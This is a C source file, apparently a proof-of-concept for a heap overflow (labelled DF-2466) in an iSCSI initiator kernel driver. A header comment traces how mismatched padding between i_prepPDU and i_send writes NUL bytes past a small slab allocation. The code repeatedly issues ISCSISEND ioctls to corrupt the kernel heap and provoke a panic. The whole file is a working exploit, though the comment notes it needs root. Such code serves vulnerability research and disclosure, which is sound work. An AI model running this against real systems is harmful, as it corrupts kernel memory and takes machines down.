/*
 * df2466.c - Heap-overflow PoC for i_send ahs_len/ds_len padding (DF-2466).
 *
 * The ISCSISEND ioctl (root-only, /dev/iscsiN is 0600 root:wheel) hands a
 * user pdu_t to i_send().  i_send() allocates pq->len-48 bytes
 * (iscsi.c:461), where i_prepPDU() sized pq->len rounding (48+ahs+ds) up to
 * a 4-byte boundary (isc_sm.c:283).  But i_send()'s own pad loop rounds only
 * ds_len up to 4 (iscsi.c:486).  When (ahs_len+ds_len)%4==0 but ds_len%4!=0,
 * i_prepPDU adds 0 pad bytes while i_send writes (4-(ds_len&3)) NUL pad bytes
 * PAST the allocation.
 *
 *   ahs_len=7, ds_len=1: alloc = 8 (exact kmalloc-8 chunk), i_send writes
 *   3 NUL bytes at offsets 8,9,10 -> 3-byte overflow into the adjacent
 *   8-byte slab chunk.  Looping accumulates slab corruption -> INVARIANTS
 *   panic on GENERIC (or silent corruption).
 *
 * This is a ROOT->kernel corruption (no unpriv boundary crossed).  Impact:
 * kernel heap corruption / panic DoS from a root process.
 *
 * Build: cc -O2 -o df2466 df2466.c
 * Run:   ./df2466 [ahs_len] [ds_len] [iterations]
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

/* mirror of the kernel pdu_t (sys/dev/disk/iscsi/initiator/iscsi.h) -- the
   first 48 bytes are union ipdu_u (BHS); then the ahs/ds ptrs and lengths. */
typedef struct {
    unsigned char ipdu[48];
    unsigned char *ahs;
    unsigned int  ahs_len;
    unsigned int  ahs_size;
    unsigned int  hdr_dig;
    unsigned char *ds;
    unsigned int  ds_len;
    unsigned int  ds_size;
    unsigned int  ds_dig;
} my_pdu_t;

#define ISCSISETSES _IOR('i', 1, int)
#define ISCSISETSOC _IOW('i', 2, int)
#define ISCSISEND   _IOW('i', 10, my_pdu_t)

int main(int argc, char **argv) {
    int ahs_len = argc > 1 ? atoi(argv[1]) : 7;
    int ds_len  = argc > 2 ? atoi(argv[2]) : 1;
    int iters   = argc > 3 ? atoi(argv[3]) : 8000;

    /* small listening target so the session socket is connected */
    int lst = socket(AF_INET, SOCK_STREAM, 0);
    int one = 1; setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
    struct sockaddr_in la; memset(&la, 0, sizeof la);
    la.sin_family = AF_INET; la.sin_addr.s_addr = inet_addr("127.0.0.1");
    la.sin_port = htons(13260);
    if (bind(lst, (struct sockaddr*)&la, sizeof la) < 0) { perror("bind"); return 1; }
    listen(lst, 1);
    if (fork() == 0) { int a = accept(lst, 0, 0); if (a>=0){sleep(120); close(a);} _exit(0); }

    int fd = open("/dev/iscsi", O_RDWR);
    if (fd < 0) { perror("open /dev/iscsi"); return 2; }
    int n = -1;
    if (ioctl(fd, ISCSISETSES, &n) < 0) { perror("ISCSISETSES"); return 3; }
    printf("df2466: session id=%d\n", n); fflush(stdout);
    close(fd);

    char dev[32]; snprintf(dev, sizeof dev, "/dev/iscsi%d", n);
    int nfd = open(dev, O_RDWR);
    if (nfd < 0) { perror(dev); return 4; }

    int soc = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in sa; memset(&sa, 0, sizeof sa);
    sa.sin_family = AF_INET; sa.sin_port = htons(13260);
    inet_pton(AF_INET, "127.0.0.1", &sa.sin_addr);
    if (connect(soc, (struct sockaddr*)&sa, sizeof sa) < 0) { perror("connect"); return 5; }
    if (ioctl(nfd, ISCSISETSOC, &soc) < 0) { perror("ISCSISETSOC"); return 6; }
    printf("df2466: soc set; ahs_len=%d ds_len=%d iters=%d\n", ahs_len, ds_len, iters);
    fflush(stdout);

    /* buffers for copyin */
    unsigned char ahsbuf[4096]; memset(ahsbuf, 0xA5, sizeof ahsbuf);
    unsigned char dsbuf[4096];  memset(dsbuf, 0x5A, sizeof dsbuf);

    int i, ok = 0, fail = 0;
    for (i = 0; i < iters; i++) {
        my_pdu_t pdu; memset(&pdu, 0, sizeof pdu);
        pdu.ipdu[0] = 0x00;   /* opcode = NOP_OUT (doesn't matter for overflow) */
        pdu.ahs = ahsbuf;
        pdu.ahs_len = ahs_len;
        pdu.ds = dsbuf;
        pdu.ds_len = ds_len;
        int rc = ioctl(nfd, ISCSISEND, &pdu);
        if (rc == 0) ok++; else { fail++; if (fail < 5) { perror("ISCSISEND"); } }
        if ((i % 1000) == 0) { printf("  iter %d ok=%d fail=%d\n", i, ok, fail); fflush(stdout); }
    }
    printf("df2466: done iter=%d ok=%d fail=%d (if we got here, no panic yet)\n", i, ok, fail);
    fflush(stdout);
    close(nfd);
    return 0;
}
